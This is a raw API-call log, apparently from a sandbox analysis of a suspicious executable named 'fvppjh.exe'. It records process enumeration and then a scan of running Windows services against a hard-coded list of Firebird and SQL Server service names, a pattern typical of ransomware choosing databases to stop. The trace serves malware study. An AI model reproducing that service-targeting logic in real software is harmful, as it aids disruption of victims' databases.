	[0157.996] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.996] lstrlenW (lpString="csrss.exe") returned 9
	[0157.996] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0157.997] lstrlenW (lpString="winlogon.exe") returned 12
	[0157.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0157.997] lstrlenW (lpString="services.exe") returned 12
	[0157.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0157.997] lstrlenW (lpString="lsass.exe") returned 9
	[0157.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0157.998] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0157.998] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0157.998] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0157.998] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.999] lstrlenW (lpString="svchost.exe") returned 11
	[0157.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.999] lstrlenW (lpString="svchost.exe") returned 11
	[0157.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0157.999] lstrlenW (lpString="dwm.exe") returned 7
	[0157.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.000] lstrlenW (lpString="svchost.exe") returned 11
	[0158.000] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.000] lstrlenW (lpString="svchost.exe") returned 11
	[0158.000] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.001] lstrlenW (lpString="svchost.exe") returned 11
	[0158.001] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.001] lstrlenW (lpString="svchost.exe") returned 11
	[0158.001] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.002] lstrlenW (lpString="svchost.exe") returned 11
	[0158.002] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.002] lstrlenW (lpString="svchost.exe") returned 11
	[0158.002] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.002] lstrlenW (lpString="svchost.exe") returned 11
	[0158.002] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.003] lstrlenW (lpString="svchost.exe") returned 11
	[0158.003] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.003] lstrlenW (lpString="svchost.exe") returned 11
	[0158.003] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.004] lstrlenW (lpString="svchost.exe") returned 11
	[0158.004] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0158.004] lstrlenW (lpString="spoolsv.exe") returned 11
	[0158.004] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.004] lstrlenW (lpString="svchost.exe") returned 11
	[0158.005] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0158.005] lstrlenW (lpString="audiodg.exe") returned 11
	[0158.005] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0158.006] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0158.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0158.006] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0158.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0158.006] lstrlenW (lpString="Memory Compression") returned 18
	[0158.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0158.007] lstrlenW (lpString="sihost.exe") returned 10
	[0158.007] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.007] lstrlenW (lpString="svchost.exe") returned 11
	[0158.007] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0158.008] lstrlenW (lpString="taskhostw.exe") returned 13
	[0158.008] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0158.008] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0158.008] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0158.009] lstrlenW (lpString="taskhostw.exe") returned 13
	[0158.009] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0158.009] lstrlenW (lpString="explorer.exe") returned 12
	[0158.009] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0158.009] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0158.009] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0158.010] lstrlenW (lpString="SearchUI.exe") returned 12
	[0158.010] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0158.010] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0158.010] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0158.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0158.011] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.011] lstrlenW (lpString="svchost.exe") returned 11
	[0158.011] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0158.011] lstrlenW (lpString="fvppjh.exe") returned 10
	[0158.011] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0158.012] lstrlenW (lpString="cmd.exe") returned 7
	[0158.012] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0158.012] lstrlenW (lpString="conhost.exe") returned 11
	[0158.012] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0158.013] CloseHandle (hObject=0x4c0) returned 1
	[0158.013] Sleep (dwMilliseconds=0x1f4) 
	[0158.702] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c06b0
	[0158.702] EnumServicesStatusExW (in: hSCManager=0x41c06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0158.703] GetLastError () returned 0xea
	[0158.703] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x4260328
	[0158.703] EnumServicesStatusExW (in: hSCManager=0x41c06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4260328, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4260328, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0158.704] CloseServiceHandle (hSCObject=0x41c06b0) returned 1
	[0158.704] lstrlenW (lpString="AppXSvc") returned 7
	[0158.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0158.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0158.705] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0158.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0158.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0158.705] lstrlenW (lpString="Audiosrv") returned 8
	[0158.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0158.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0158.705] lstrlenW (lpString="BFE") returned 3
	[0158.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0158.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0158.705] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0158.738] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0158.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0158.738] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0158.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.739] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0158.739] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0158.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0158.739] lstrlenW (lpString="CDPSvc") returned 6
	[0158.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.739] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0158.739] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0158.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0158.739] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0158.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0158.740] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0158.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0158.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0158.740] lstrlenW (lpString="CryptSvc") returned 8
	[0158.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0158.740] lstrlenW (lpString="DcomLaunch") returned 10
	[0158.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0158.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0158.740] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0158.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0158.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0158.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0158.740] lstrlenW (lpString="Dhcp") returned 4
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0158.741] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0158.741] lstrlenW (lpString="Dnscache") returned 8
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0158.741] lstrlenW (lpString="DPS") returned 3
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0158.741] lstrlenW (lpString="DusmSvc") returned 7
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0158.741] lstrlenW (lpString="EventLog") returned 8
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0158.741] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0158.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0158.741] lstrlenW (lpString="EventSystem") returned 11
	[0158.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0158.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0158.742] lstrlenW (lpString="FontCache") returned 9
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0158.742] lstrlenW (lpString="gpsvc") returned 5
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0158.742] lstrlenW (lpString="iphlpsvc") returned 8
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
